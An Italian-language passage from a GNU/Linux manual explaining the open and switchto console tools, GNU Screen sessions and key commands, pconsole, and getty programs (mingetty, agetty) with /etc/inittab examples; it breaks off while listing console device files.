Il programma '**open**'[17] permette di avviare un comando in una nuova console virtuale (non utilizzata precedentemente). Per distinguere il comando dalle opzioni di '**open**' si utilizza un trattino doppio ('**--**') per segnalare l'inizio del comando stesso.

```
open [opzioni] [--] comando [opzioni_del_comando]
```

Tabella 15.97. Alcune opzioni.

Opzione	Descrizione
`-c` ***n***	Questa opzione permette di definire esplicitamente quale console virtuale utilizzare attraverso l'argomento che indica il numero di questa (le console virtuali sono numerate a partire da uno).
`-l`	Fa in modo che il comando venga trattato come se fosse una «shell di *login*», cioè una shell avviata dalla procedura di accesso (dopo che l'autenticazione dell'utente è avvenuta con successo). Questo comporta l'aggiunta di un trattino ('**-**') davanti al nome del comando.
`--`	Segna la fine delle opzioni di '**open**' e l'inizio del comando. È necessario l'uso di questo trattino doppio quando il comando da eseguire ha, a sua volta, degli argomenti.

Segue la descrizione di alcuni esempi.

- `#` **`open bash`** [*Invio*]

  Avvia l'eseguibile '**bash**' nella prima console virtuale libera.

- `#` **`open -l bash`** [*Invio*]

  Avvia l'eseguibile '**bash**' nella prima console virtuale libera, trattando il processo relativo come una shell di *login*.

- `#` **`open -c 10 -l bash`** [*Invio*]

  Come nell'esempio precedente, utilizzando espressamente la decima console virtuale.

- `#` **`open -- ls -l`** [*Invio*]

  Esegue il comando '**ls -l**' utilizzando la prima console virtuale libera. In questo caso, dovendo indicare un comando con argomenti, è stato inserito il trattino doppio per segnalare l'inizio del comando stesso.

15.12.2 Utilizzo di «switchto»

Il programma '**switchto**' [18] permette di selezionare una console virtuale particolare. Può essere utile in uno script.

```
switchto n
```

L’esempio seguente mostra il passaggio all’undicesima console virtuale:

switchto 11 [*Invio*]

15.13 Terminali virtuali, o finestre, con il programma Screen

È già stato descritto più volte il funzionamento delle console virtuali di GNU/Linux, che, attraverso una sola console fisica, permettono la gestione di più sessioni di lavoro differenti, a cui si accede generalmente con le combinazioni di tasti [*Ctrl Fn*], oppure [*Ctrl Alt Fn*]. Un effetto simile si può ottenere attraverso dei programmi, utilizzabili anche quando non si dispone di una console GNU/Linux.

Un programma che svolga questo compito non è così comodo da utilizzare come può esserlo una console virtuale, però può offrire delle possibilità in più. Per esempio, potrebbe trasferire il ***terminale virtuale*** su un altro terminale fisico, senza dover sospendere, né interrompere, il lavoro che si stava svolgendo. In pratica, l’unico programma che si utilizzi per questo scopo è Screen,[19] il quale permette di fare una quantità di cose, anche il trasferimento di un terminale virtuale a un altro utente (consentendo a questo di continuare il lavoro).

Lo studio di Screen è impegnativo come lo è l’approfondimento di una shell sofisticata. Qui si vogliono mostrare solo i rudimenti, trascurando volutamente funzionalità che, se utilizzate, richiederebbero attenzione per ciò che riguarda la sicurezza.

15.13.1 Funzionamento e organizzazione generale

Screen, costituito precisamente dell’eseguibile ‘**screen**’, è un programma che si interpone tra una shell (o un applicativo diverso) e il terminale utilizzato effettivamente. In pratica, si tratta di un gestore di finestre a caratteri che, tra le altre cose, permette di aprire più sessioni contemporanee utilizzando un solo terminale fisico.

Ogni terminale virtuale, ovvero ogni finestra, mette a disposizione le funzionalità di un terminale VT100 con delle estensioni di vario tipo. Per ogni finestra viene conservato uno storico delle ultime righe visualizzate, permettendo lo scorrimento all’indietro e la copia di porzioni di questo all’interno dello standard input della stessa o di un’altra finestra.

Come si può intuire, per accedere alle funzionalità offerte da Screen occorre utilizzare dei comandi composti da combinazioni di tasti che vengono intercettati da questo, senza essere passati all’applicazione sottostante, provocando così un’alterazione del comportamento normale di queste applicazioni.

Spesso, viene attivato il bit SUID al binario ‘**screen**’, assieme all’attribuzione della proprietà all’utente ‘**root**’. Ciò permette a Screen di fare delle cose molto comode, ma richiede attenzione nella sua configurazione, perché ciò potrebbe tradursi in un pericolo in più per chi lo utilizza. Se non si vuole approfondire tanto l’uso di Screen, sarebbe meglio togliere tale permesso.

chmod ug-s /usr/bin/screen [*Invio*]

Se Screen è in condizione di poterlo fare (di solito solo se è attivato il bit SUID per il binario ‘**screen**’ e questo appartiene all’utente ‘**root**’), aggiorna il file ‘/etc/utmp’, cosa che consente di tenere traccia anche di tutti i terminali virtuali aperti attraverso di esso.

Per poter funzionare, Screen deve creare un file FIFO (*pipe* con nome), per ogni gruppo di finestre aperto, cioè per ogni terminale fisico a cui è connesso effettivamente. Tale file viene definito «*socket*» da Screen e dalla sua documentazione. Questo file può essere creato in varie posizioni, a seconda di come sono stati compilati i sorgenti. Se il binario '**screen**' è stato previsto con il bit SUID attivo, questo file FIFO potrebbe essere creato nella directory '/tmp/screens/S-***utente***/', oppure, più utilmente, potrebbe essere creato nella directory '~/.screen/'. È da ritenere che questa ultima scelta sia la migliore; volendo, si può utilizzare la variabile di ambiente ***SCREENDIR*** per indicare il percorso della directory che Screen deve usare per i file FIFO.

Il nome utilizzato per il file FIFO serve a identificare una particolare sessione di lavoro di Screen, assieme a tutte le finestre gestite attraverso questa. Di solito, si tratta di un nome articolato secondo il modello seguente:

```
pid . terminale . nodo
```

Per esempio, '**123.tty4.dinkel**' è il modo con cui si identifica la sessione di Screen che ha il numero PID 123, utilizza il terminale corrispondente al dispositivo '/dev/tty4', sul sistema chiamato '**dinkel**'.

Una sessione di Screen, quando è in funzione regolarmente, è ***attaccata*** al terminale fisico che si utilizza effettivamente (questo terminale fisico può anche essere una console virtuale di GNU/Linux). La sessione può essere distaccata e successivamente riattaccata altrove, presso un altro terminale fisico. Le applicazioni in funzione nelle varie finestre di una sessione distaccata, continuano a funzionare regolarmente. Di solito, a meno di modificare la configurazione predefinita, un segnale di aggancio ('**SIGHUP**'), cosa che generalmente si ottiene disconnettendo la linea attraverso cui è collegato il terminale, provoca solo il distacco della sessione, senza coinvolgere le applicazioni.

Screen può essere controllato attraverso file di configurazione, la cui collocazione può essere varia. Potrebbe trattarsi di '/etc/screenrc' per la configurazione globale e di '~/.screenrc' per la personalizzazione di ogni utente. Le direttive di questi file non vengono mostrate qui; eventualmente si può consultare la documentazione originale: *screen(1)*.

Screen imposta automaticamente la variabile ***TERM*** al valore '**screen**', in modo da informare opportunamente le applicazioni di adattarsi alle sue caratteristiche.

Quasi tutti i comandi che possono essere impartiti a Screen sono prefissati dalla combinazione [*Ctrl a*], alla quale segue poi una sequenza di caratteri o di altre combinazioni di tasti, che ovviamente non vengono passati all'applicazione sottostante. Se però si vuole passare proprio la combinazione [*Ctrl a*] all'applicazione, si deve usare la sequenza [*Ctrl a*][*a*].

A volte, Screen ha la necessità di fornire delle indicazioni. Ciò viene fatto sovrascrivendo parte della finestra in uso, di solito nell'ultima riga. Dopo pochi secondi, i messaggi vengono rimossi, ripristinando il testo precedente.

15.13.2 Utilizzo di «screen»

Screen si compone in pratica dell'eseguibile binario '**`screen`**'. Come accennato in precedenza, viene predisposto spesso in modo da avere il bit SUID attivo e da essere proprietà dell'utente '**`root`**'. Se non si richiedono funzionalità particolari a questo programma, non è necessaria tale politica.

```
screen [opzioni] [comando [argomenti_del_comando]]
```

Il programma '**`screen`**' può essere avviato per iniziare una sessione di lavoro attraverso cui gestire delle applicazioni contenute in finestre differenti, oppure per altre funzionalità descritte in occasione della presentazione delle opzioni. Quando si avvia '**`screen`**' in modo normale, si può aggiungere l'indicazione di un comando (con i suoi argomenti) che si vuole avviare all'interno della prima finestra. Se questo comando non viene specificato, '**`screen`**' avvia una shell (quella indicata nella variabile di ambiente ***SHELL***, oppure '`/bin/sh`' in sua mancanza).

Quando un programma ospitato all'interno di una finestra di '**`screen`**' termina di funzionare, la finestra relativa si chiude. Quando una sessione non ha più finestre, termina di funzionare anche il processo '**`screen`**' relativo.

Tabella 15.98. Alcune opzioni.

Opzione	Descrizione
`-U`	Avvia il programma richiedendo espressamente l'uso della codifica UTF-8 per il terminale.
`-c` *file*	Permette di specificare un file di configurazione alternativo a quello predefinito.
`-s` ***shell***	Permette di indicare una shell alternativa a quella contenuta nella variabile di ambiente ***SHELL***, la quale viene utilizzata ogni volta che si apre una nuova finestra senza specificare il programma che deve essere avviato al suo interno.
`-S` ***sessione***	Permette di dare un nome a una sessione. A questo nome viene comunque aggiunto il numero PID anteriormente. Lo scopo è quello di rendere più semplice l'identificazione di una sessione.
`-ls` `-list`	Questa opzione va usata da sola: non avvia alcuna nuova sessione e si limita a elencare quelle già aperte dall'utente che ne sta facendo richiesta. Attraverso questo elenco si possono individuare facilmente quali siano le sessioni distaccate, cioè quelle che possono essere riprese utilizzando l'opzione '**`-r`**'.
`-d` [*pid.*] *tty* [*.nodo*] `-D` [*pid.*] *tty* [*.nodo*]	Permette di distaccare una sessione di Screen da un terminale fisico, senza interrompere il funzionamento degli applicativi avviati al suo interno. Si può usare questa opzione assieme a '**`-r`**', in modo da riattaccare la sessione in un altro terminale.
`-r` [[*pid.*] *tty* [*.nodo*]] `-R` [[*pid.*] *tty* [*.nodo*]]	Permette di riattaccare sul terminale in funzione attualmente, una sessione staccata in precedenza. Se non si indica la sessione, viene avviata la prima di quelle che risultano distaccate; se in particolare si utilizza '**`-R`**', si ottiene comunque l'avvio di una sessione anche se non ce ne sono da riprendere. Questa opzione può essere usata da sola o in abbinamento a '**`-d`**' (o '**`-D`**'). In questo ultimo caso, si indica prima l'opzione '**`-d`**', poi '**`-r`**', infine la sessione da staccare e da riattaccare.

Opzione	Descrizione
`-x` [[*pid.*] *tty* [*.nodo*]]	Questa opzione permette di accedere a una sessione già aperta e funzionante presso un altro terminale fisico. Se non viene specificata la sessione, viene aperta la prima che può essere trovata. Quando si condivide una sessione tra più terminali fisici, ogni terminale può accedere solo alle finestre che non sono attive da qualche parte.

Segue la descrizione di alcuni esempi.

- `$` **`screen`** [*Invio*]

  Avvia una sessione di Screen sul terminale da cui si esegue il comando, aprendo la shell predefinita nella prima finestra.

- `$` **`screen -U`** [*Invio*]

  Come nell'esempio precedente, richiedendo espressamente l'uso della codifica UTF-8 per il terminale.

- `$` **`screen mc`** [*Invio*]

  Avvia una sessione di Screen sul terminale da cui si esegue il comando, avviando il programma '**`mc`**', senza argomenti, nella prima finestra.

- `$` **`screen -ls`** [*Invio*]

  Elenca le sessioni aperte dall'utente.

- `$` **`screen -d tty2`** [*Invio*]

  Distacca la sessione in funzione sul terminale identificato dal dispositivo '`/dev/tty2`' (in pratica, la seconda console virtuale). Non vengono indicate altre informazioni per il nome della sessione, perché probabilmente l'informazione del terminale è sufficiente e non crea ambiguità.

- `$` **`screen -d`** [*Invio*]

  Distacca la prima sessione attiva appartenente all'utente stesso.

- `$` **`screen -r tty2`** [*Invio*]

  Attacca, sul terminale da cui si dà il comando, la sessione che in origine è stata avviata sul terminale '`/dev/tty2`' e successivamente distaccata.

- `$` **`screen -r`** [*Invio*]

  Attacca la prima sessione libera che trova.

- `$` **`screen -d -r tty2`** [*Invio*]

  Distacca la sessione in funzione sul terminale identificato dal dispositivo '`/dev/tty2`', riattaccandola sul terminale da cui si dà il comando.

- `$` **`screen -d -r`** [*Invio*]

  Distacca la prima sessione attiva che trova e la riattacca sul terminale da cui si dà il comando.

15.13.3 Comandi interattivi

Una volta avviato l'eseguibile '**`screen`**', si può interagire con questo attraverso dei comandi composti da combinazioni di tasti. Nella maggior parte dei casi si tratta di sequenze iniziate dalla combinazione [*Ctrl a*].

Per motivi di compatibilità, spesso sono disponibili diversi tipi di sequenze per lo stesso risultato. Nella tabella 15.99 vengono elencate solo alcune di queste sequenze; per un elenco completo occorre leggere la documentazione originale, costituita dalla pagina di manuale: *screen(1)*.

Tabella 15.99. Alcuni dei comandi che si possono dare a Screen, quando è in funzione.

Sequenza	Effetto
[*Ctrl a*][*?*]	Mostra una guida rapida ai comandi disponibili.
[*Ctrl a*][*a*]	Invia la combinazione [*Ctrl a*] all'applicazione attiva.
[*Ctrl a*][***n***]	Seleziona l'***n***-esima finestra. La prima ha il numero zero.
[*Ctrl a*][*n*]	Passa alla finestra successiva.
[*Ctrl a*][*p*]	Passa alla finestra precedente.
[*Ctrl a*][*c*]	Crea una nuova finestra.
[*Ctrl a*][*d*]	Distacca la sessione dal terminale fisico.
[*Ctrl a*][*w*]	Mostra un breve riepilogo delle finestre esistenti.
[*Ctrl a*][*Esc*]	Inizia la modalità di scorrimento e copia all'indietro.
[*Ctrl a*][*]*]	Incolla il testo inserito precedentemente nella memoria tampone.

Le operazioni più complesse sono quelle che riguardano la copia e l'inserimento di testo che proviene da quanto visualizzato attualmente, o nel testo precedente. Infatti, per ogni finestra viene conservato uno storico delle righe visualizzate, il quale può essere rivisto e dal quale si possono prelevare delle parti, inserendole in una memoria tampone (la documentazione *screen(1)* parla di *paste buffer*).

Con il comando [*Ctrl a*][*Esc*] si inizia la modalità di scorrimento e copia, cosa che blocca il funzionamento dell'applicazione che utilizza la finestra attiva. Da quel momento, si possono usare i tasti freccia e pagina per spostare il cursore; eventualmente si possono usare i tasti [*h*], [*j*], [*k*] e [*l*], come si fa con VI (sezione 24.14). Si possono anche fare delle ricerche nello stile di VI, con i comandi [*/*] e [*?*].

Quando si raggiunge il pezzo che si vuole copiare nella memoria tampone, lo si deve delimitare. Ciò si ottiene normalmente premendo il tasto [*barra-spaziatrice*] nel punto di inizio, quindi si fa scorrere il cursore nel punto finale e si preme nuovamente la [*barra-spaziatrice*] per concludere. La selezione del testo coincide anche con la conclusione della modalità di scorrimento e copia, cosa che dopo poco fa riprendere il funzionamento del programma.

È possibile anche la selezione di testo in modo rettangolare. Per questo, dopo aver premuto la [*barra-spaziatrice*] per indicare il punto di inizio, si deve aggiungere anche il tasto [*c*], a indicare un bordo sinistro, oppure [*C*] a indicare un bordo destro. Successivamente, quando si raggiunge anche il punto finale, si preme nuovamente [*C*], oppure [*c*] (a seconda di come si è iniziato) prima della [*barra-spaziatrice*].

Infine, il comando [*Ctrl a*][*]*] inserisce il testo, accumulato precedentemente nella memoria tampone, nello standard input dell'applicazione contenuta nella finestra attiva.

15.13.4 Configurazione

Il programma Screen consente di definire la sua configurazione attraverso i file '`/etc/screenrc`' e '`~/.screenrc`' (il primo per tutto il sistema; il secondo per ogni utente). In alternativa, attraverso l'opzione '**`-c`**' si può indicare un file differente.

Il contenuto del file di configurazione si compone di commenti, preceduti dal simbolo '**`#`**', righe vuote, righe bianche e direttive. Le informazioni utili sono costituite soltanto dalle direttive (istruzioni semplici), disposte normalmente su una sola riga.

15.14 Console parallele con Pconsole

A ogni terminale a caratteri gestito presso il proprio elaboratore, corrisponde un file di dispositivo, individuabile normalmente con il programma '**`tty`**':

`$` **`tty`** [*Invio*]

```
/dev/tty5
```

Il risultato del comando '**`tty`**' è relativo all'elaboratore presso il quale si sta operando, pertanto, se si tratta di un accesso remoto, il file di dispositivo riportato è inteso essere quello corrispondente nell'elaboratore remoto. Si cerchi di seguire l'esempio seguente, dove dall'elaboratore «A» ci si collega all'elaboratore «B», con l'aiuto di un programma appropriato:

`A$` **`tty`** [*Invio*]

Ci si trova seduti davanti alla console dell'elaboratore «A» e si controlla quale file di dispositivo corrisponde alla propria console; si suppone si tratti della quinta console virtuale di un sistema GNU/Linux:

```
/dev/tty5
```

Con l'aiuto di un programma appropriato, ci si collega all'elaboratore «B» (che ha indirizzo IPv4 172.17.1.2):

`A$` **`ssh 172.21.1.2`** [*Invio*]

`Password:` ***digitazione_all'oscuro*** [*Invio*]

```
Last login: ... from ...
```

`B$`

A questo punto, pur essendo seduti davanti alla console dell'elaboratore «A», si sta lavorando nell'elaboratore «B». Si verifica il file di dispositivo corrispondente al terminale usato:

`B$` **`tty`** [*Invio*]

```
/dev/pts/2
```

Nonostante questo, rimane il fatto che il terminale usato presso l'elaboratore «A», ovvero quello locale, è '`/dev/tty5`'; attraverso tale terminale si accede all'elaboratore remoto «B»; presso l'elaboratore «B» il terminale usato è '`/dev/pts/2`'.

Se presso l'elaboratore «A» un programma fosse in grado di controllare il file di dispositivo '`/dev/tty5`', questo controllerebbe in pratica l'accesso remoto all'elaboratore «B», secondo la simulazione dell'esempio.

Questa premessa è necessaria per comprendere il funzionamento del programma '**`pconsole`**',[20] con il quale è possibile inviare un comando simultaneamente a più terminali, utilizzando i file di dispositivo **locali**:

```
pconsole
```

Il programma '**`pconsole`**' si usa senza argomenti, con i privilegi dell'utente '**`root`**', ma dopo l'avvio gli si devono impartire dei comandi:

`#` **`pconsole`** [*Invio*]

```
pconsole WJ101

pconsole command mode
```

`>>>`

Con il comando '**`help`**' è possibile ottenere il riepilogo dei comandi disponibili:

`>>>` **`help`** [*Invio*]

```
help            Give help about the available commands
?               short-cut for 'help'
version         Display version information
echo            Turn echo on or off
attach          Attach to a tty device
detach          Detach from a tty device
list            Show devices currently attached to
connect         Leave command mode
quit            Exit pconsole
exit            Exit pconsole
```

`>>>` **`quit`** [*Invio*]

Il programma ha due stati di funzionamento: la modalità di comando, corrispondente a quella mostrata negli esempi; la modalità di invio. La modalità di comando serve, evidentemente, per impartire dei comandi, mentre l'altra modalità consente di passare all'inserimento di testo da inviare ai terminali che risultano attaccati. In pratica, prima ci si attacca a dei terminali, ovvero ai file di dispositivo corrispondenti, quindi si passa in modalità di inserimento e ciò che si scrive, viene eseguito in tutti i terminali relativi; quello che non si può fare attraverso '**`pconsole`**' è di «vedere» ciò che accade presso i vari terminali.

Per passare alla modalità di comando, si usa il codice <*SOH*>, ovvero <*^a*>, il quale si ottiene normalmente con la combinazione [*Ctrl a*]; per passare alla modalità di invio, si usa il codice <*EOT*>, ovvero <*^d*>, il quale si ottiene normalmente con la combinazione [*Ctrl d*].

È abbastanza difficile mostrare un esempio completo di utilizzo del programma '**pconsole**'; per capire ciò che si vuole sintetizzare nei comandi seguenti richiede una buona dose di intuito. Per cominciare, si suppone di avere aperto diversi terminali; in particolare interessano la console virtuale corrispondente al file di dispositivo '/dev/tty3' e un terminale grafico corrispondente al file di dispositivo '/dev/pts/4'. Presso un altro terminale libero (una console virtuale o un terminale grafico, senza che ciò faccia differenza) si avvia '**pconsole**' e ci si «attacca» ai due terminali già nominati:

pconsole [*Invio*]

```
pconsole WJ101

pconsole command mode
```

>>> **attach /dev/tty3** [*Invio*]

```
attaching /dev/tty3 : Ok
```

>>> **attach /dev/pts/4** [*Invio*]

```
attaching /dev/pts/4 : Ok
```

Con il comando '**list**' si può vedere quali terminali risultano attaccati:

>>> **list** [*Invio*]

```
Currently attached to:
 /dev/tty3                             (device no 4, 3)
 /dev/pts/4                            (device no 136, 4)
```

Si decide di passare alla modalità di inserimento:

>>> [*Ctrl d*]

```
Press <Ctrl-A> for command mode
```

>

Come si può osservare, l'invito assume una forma più breve, per ricordare che ci si trova nella modalità di inserimento. Da qui si vuole semplicemente impartire il comando '**ls**', che viene eseguito in pratica nei due terminali controllati da '**pconsole**':

> **ls** [*Invio*]

Dal terminale dove si sta usando '**pconsole**', non si vede alcun risultato; per sapere cosa è successo effettivamente, occorre invece passare agli altri terminali.

Al termine, si torna alla modalità di comando:

```
> [Ctrl a]

  pconsole command mode

>>>
```

A questo punto si può chiudere:

```
>>> quit [Invio]

  detaching from /dev/tty3 : Ok
  detaching from /dev/pts/4 : Ok
```

Per concludere, c'è da osservare che la documentazione di Pconsole suggerisce di attribuire al programma i permessi SUID-root, per consentire a tutti gli utenti di usarlo; tuttavia, ciò è sicuramente sconsigliabile per motivi di sicurezza.

15.15 Getty

Nella procedura di inizializzazione del sistema, Getty è quel programma che si occupa di attivare il terminale e iniziare la procedura di accesso. Come dice la pagina di manuale *getty(1)*: «Getty è il secondo dei tre programmi (*init(1)*, *getty(1)* e *login(1)*) utilizzati dal sistema per permettere all'utente di accedere». In pratica, il programma Getty si occupa di:

- aprire la linea di terminale e impostare le modalità necessarie;
- emettere l'invito della procedura di accesso;
- ricevere il nominativo usato dall'utente per identificarsi;
- attivare il programma per la procedura di accesso (convenzionalmente si tratta di '`/bin/login`'), fornendogli già il nominativo-utente (successivamente è compito di '**`login`**' la richiesta di inserire la parola d'ordine).

Il programma Getty tipico fa uso di alcuni file:

- '`/etc/gettydefs`'

  per la definizione delle caratteristiche delle linee dei terminali;
- '`/etc/issue`'

  per definire un testo di «benvenuto» da inviare all'utente che tenta di connettersi.

15.15.1 Utilizzo di un programma Getty

Un programma Getty non è fatto per l'utilizzo manuale diretto, ma per essere inserito nel file '`/etc/inittab`', in modo da essere attivato direttamente da Init durante la fase di inizializzazione del sistema. In un sistema GNU/Linux, l'attivazione delle sei console virtuali consuete avviene con record simili a quelli seguenti:

```
1:12345:respawn:/sbin/getty tty1
2:2345:respawn:/sbin/getty tty2
3:2345:respawn:/sbin/getty tty3
4:2345:respawn:/sbin/getty tty4
5:2345:respawn:/sbin/getty tty5
6:2345:respawn:/sbin/getty tty6
```

Come si vede dall'esempio, viene usato un argomento per specificare il terminale da utilizzare, ovvero il nome del file di dispositivo corrispondente contenuto nella directory '`/dev/`'. Questo elemento, viene definito normalmente come «linea», alludendo al tipo di terminale in base al tipo di connessione utilizzata.

Quando il programma Getty viene utilizzato per attivare una connessione attraverso un terminale seriale, si pone il problema di configurare opportunamente la porta seriale stessa. In tal caso si utilizzano altri argomenti, oppure la configurazione del file '`/etc/gettydefs`'.

Se oltre alla linea seriale si utilizzano dei modem, si aggiunge anche il problema della loro inizializzazione. Il programma Getty può solo occuparsi di quello connesso dalla sua parte, ma anche in tal caso si pone il problema di definire la stringa di inizializzazione adatta.

Quando si vuole ottenere una connessione attraverso modem, utilizzando una linea telefonica commutata, Getty deve essere in grado di controllare il modem anche in questo modo, rispondendo e distinguendo eventualmente se la chiamata proviene da un altro modem o se si tratta di un segnale sonoro normale.

15.15.2 File «/etc/issue»

In generale, i programmi Getty utilizzano il file '`/etc/issue`' per definire il messaggio introduttivo di invito della procedura di accesso. Nel testo che compone questo file possono essere utilizzati alcuni codici di escape per ottenere effetti particolari. Questi codici dipendono dall'interpretazione del programma Getty che li utilizza. In particolare, l'elenco della tabella 15.114 è adatto sia a Agetty, sia a MinGetty.

Tabella 15.114. Elenco dei codici che '**`agetty`**' e '**`mingetty`**' riconoscono nel file '`/etc/issue`'.

Codice	Descrizione
`\b`	Inserisce la velocità della linea utilizzata.
`\d`	Inserisce la data.
`\s`	Inserisce il nome del sistema operativo.
`\l`	Inserisce il nome della linea di terminale utilizzata.
`\m`	Inserisce il nome dell'architettura della macchina.
`\n`	Inserisce il nome dell'elaboratore: *hostname*.
`\o`	Inserisce il nome di dominio dell'elaboratore.
`\r`	Inserisce il numero di rilascio del sistema operativo.

Codice	Descrizione
`\t`	Inserisce l'orario.
`\u`	Inserisce il numero di utenti connessi.
`\U`	Come '**`\u`**', ma aggiunge la parola '**`user`**' o '**`users`**'.
`\v`	Inserisce la versione del sistema operativo.

Tuttavia va considerato che esistono differenze molto grandi tra i vari programmi Getty per i codici di escape utilizzabili nel file '`/etc/issue`'; pertanto, l'unico modo per predisporne una versione standard unificata, è quello di fare a meno di questi. Alcune distribuzioni GNU/Linux, a questo proposito, predispongono il file '`/etc/issue`' attraverso la procedura di inizializzazione del sistema.

15.15.3 Utilizzo di MinGetty

MinGetty[21] è un programma Getty minimo, per l'accesso esclusivo attraverso console virtuali di GNU/Linux. Per questo, è indicato particolarmente per risparmiare memoria nei sistemi minimi e non richiede file di configurazione, a parte il messaggio di pubblicazione nel file '`/etc/issue`'. È composto da un solo file eseguibile, che potrebbe avere il nome '**`mingetty`**', o '**`getty`**'.

`mingetty` [***opzioni***] ***console_virtuale***

`getty` [***opzioni***] ***console_virtuale***

Tabella 15.115. Alcune opzioni.

Opzione	Descrizione
`--noclear`	Non ripulisce lo schermo prima di avviare la procedura di accesso.
`--long-hostname`	Visualizza il nome completo dell'elaboratore all'atto dell'attivazione della procedura di accesso.

L'esempio seguente si riferisce a record del file '`/etc/inittab`':

```
1:12345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6
```

Questi record attivano le prime sei console virtuali in corrispondenza dei livelli di esecuzione da due a cinque. In particolare, la prima console virtuale viene attivata anche con il livello uno.

15.15.4 Utilizzo di Agetty

Agetty,[22] ovvero *Alternative Linux getty*, è un programma Getty ridotto, per l'accesso attraverso console virtuali di GNU/Linux e le porte seriali. Non richiede file di configurazione, a parte il messaggio di pubblicazione nel file '`/etc/issue`', mentre le impostazioni eventuali vanno date attraverso la riga di comando.

```
agetty [opzioni] velocità[,...] porta [variabile_term]
```

```
getty [opzioni] velocità[,...] porta [variabile_term]
```

Tabella 15.117. Argomenti e alcune opzioni valide con il programma '**`agetty`**'.

Argomento od opzione	Descrizione
porta	Si tratta del nome del file di dispositivo che identifica il terminale da utilizzare. È riferito alla directory '`/dev/`', quindi, per esempio, '**`tty1`**' si riferisce al file di dispositivo '`/dev/tty1`'.
velocità	È un elenco, separato da virgole, di una o più velocità di trasmissione espresse in bit al secondo (simbolo: «bit/s»). Ogni volta che il programma riceve un carattere *break*, seleziona la velocità successiva nell'elenco. Dopo l'ultima, riprende dalla prima. Di solito, si preferisce indicare le velocità in ordine decrescente.
variabile_term	L'ultimo argomento può essere il valore da assegnare alla variabile ***TERM*** che poi viene ereditata da '**`login`**' e dalla shell.
`-h`	Abilita il controllo di flusso hardware (RTS/CTS).
`-i`	Non visualizza il contenuto del file '`/etc/issue`' (e di nessun altro equivalente) prima di emettere l'invito della procedura di accesso. Ciò può essere utile nel caso in cui, per motivi tecnici, sia preferibile evitare di inviare troppi dati prima della richiesta di identificazione che introduce la procedura di accesso.
`-f` ***file***	Permette di indicare un nome diverso da quello predefinito per il file contenente il messaggio di pubblicazione (quello che di solito è '`/etc/issue`').
`-I` ***stringa_di_inizializzazione***	Permette di inviare al terminale, o al modem, una stringa di inizializzazione, prima di qualunque altro dato. Per indicare caratteri speciali non stampabili, si può usare la forma ottale di tre cifre numeriche precedute da una barra obliqua inversa ('\').
`-l` ***programma_di_login***	Permette di indicare un programma per la procedura di accesso diverso da quello predefinito: '`/bin/login`'.
`-m`	Fa in modo che il programma tenti di determinare la velocità da utilizzare dal messaggio di stato '**`CONNECT`**' dei modem compatibili Hayes.

Argomento od opzione	Descrizione
`-n`	Fa in modo che non venga richiesta l'identificazione attraverso la procedura di accesso. Può avere senso questa modalità se si utilizza anche l'opzione '**-l**' per accedere al sistema in modo diverso.
`-t` ***tempo_massimo***	Permette di definire un tempo massimo di attesa, espresso in secondi. Se l'accesso non viene effettuato entro il tempo previsto, si interrompe la comunicazione. Di solito si utilizza questa opzione solo per le connessioni remote attraverso l'uso del modem.
`-L`	Specifica in modo esplicito che si tratta di una linea locale, senza che ci sia la necessità di individuare la presenza di una portante. Può essere utile, se si utilizza una linea seriale locale che non dispone del segnale di portante.
`-w`	Attende di ricevere dall'utente o dal modem un segnale di <*CR*> o <*LF*>, prima di inviare il messaggio di pubblicazione (di solito si tratta del contenuto del file '`/etc/issue`') e la richiesta di identificazione per la procedura di accesso. L'uso di questa opzione è molto importante se si utilizza anche l'opzione '**-I**'.

Segue la descrizione di alcuni esempi.

- ```
  1:12345:respawn:/sbin/getty 38400 tty1
  ```
  Attiva la prima console virtuale in un sistema GNU/Linux.

- ```
  1:23:respawn:/sbin/getty -L 9600 ttyS0 vt100
  ```
  Attiva un terminale locale, connesso direttamente attraverso la prima porta seriale. Viene anche indicato un tipo di terminale pari alla sigla '**vt100**'.

- ```
  1:23:respawn:/sbin/getty -mt60 ttyS0 9600,2400,1200
  ```
  Attiva un terminale remoto, collegato attraverso un modem alla prima porta seriale, utilizzando diverse velocità alternative.

15.15.5 Annotazione per la predisposizione di un terminale seriale

Un terminale seriale può essere predisposto semplicemente utilizzando un elaboratore con un sistema operativo qualunque, purché provvisto di software necessario a riprodurre il comportamento di un terminale seriale. Per fare un esempio con lo stesso sistema GNU/Linux, si può utilizzare il programma Minicom.

> In linea di massima, i vari programmi Getty sono predisposti per la consuetudine diffusa di usare una codifica «8N1», ovvero: 8 bit dati senza alcuna parità e un bit di stop. Questa impostazione va mantenuta sempre, a meno di sapere esattamente quello che si sta facendo.

Il parametro più importante che può essere modificato è la velocità espressa in bit al secondo, la quale deve essere stabilita precisamente e in modo identico tra Getty e il programma di emulazione di terminale all'altro capo del filo.
  ```

Il controllo di flusso dovrebbe essere sempre di tipo hardware, cioè RTS/CTS. Eccezionalmente si può usare un controllo di flusso software, cioè XON/XOFF, per esempio quando si è costretti a utilizzare un cavo seriale a tre fili; ciò purché Getty sia in grado di operare in questo modo e che la velocità di comunicazione sia sufficientemente bassa da permetterlo (da 9600 bit/s in giù).

Come ultimo problema, occorre verificare per quali tipi di terminali standard può essere configurato il programma di emulazione. Generalmente, tutti i programmi di questo tipo dovrebbero essere in grado di operare come terminali VT100; se però il programma a disposizione offre di meglio, è sempre il caso di sfruttare tali caratteristiche.

L'uso di un terminale seriale rispetto a una console comporta delle conseguenze operative non trascurabili, legate al comportamento della tastiera e alla visualizzazione dei caratteri sul video.

In pratica, la visualizzazione di certi simboli può variare, specialmente le bordature vengono sostituite con caratteri normali; inoltre, alcuni tasti funzionali e alcune combinazioni di tasti diventano inutilizzabili.

15.16 Console nei sistemi GNU/Linux

Nei sistemi Unix, la console è il terminale principale e come tale ha un ruolo fondamentale. Generalmente, con GNU/Linux non si avverte questo particolare perché la gestione normale delle console virtuali fa sì che la «console» sia semplicemente quella console virtuale che si adopera in un momento determinato. Per fare un po' di chiarezza tra console e console virtuali, è bene dare un'occhiata ai file di dispositivo.

`# ls -l /dev/console /dev/tty /dev/tty[0-9]` [*Invio*]

Il risultato dovrebbe essere quello che segue, tenendo conto che la proprietà e i permessi cambiano in funzione dell'uso che si sta facendo in un momento determinato:

```
crw-------   1 root     root       5,   1 mag  5  1998 /dev/console
crw-rw-rw-   1 root     root       5,   0 mag  5  1998 /dev/tty
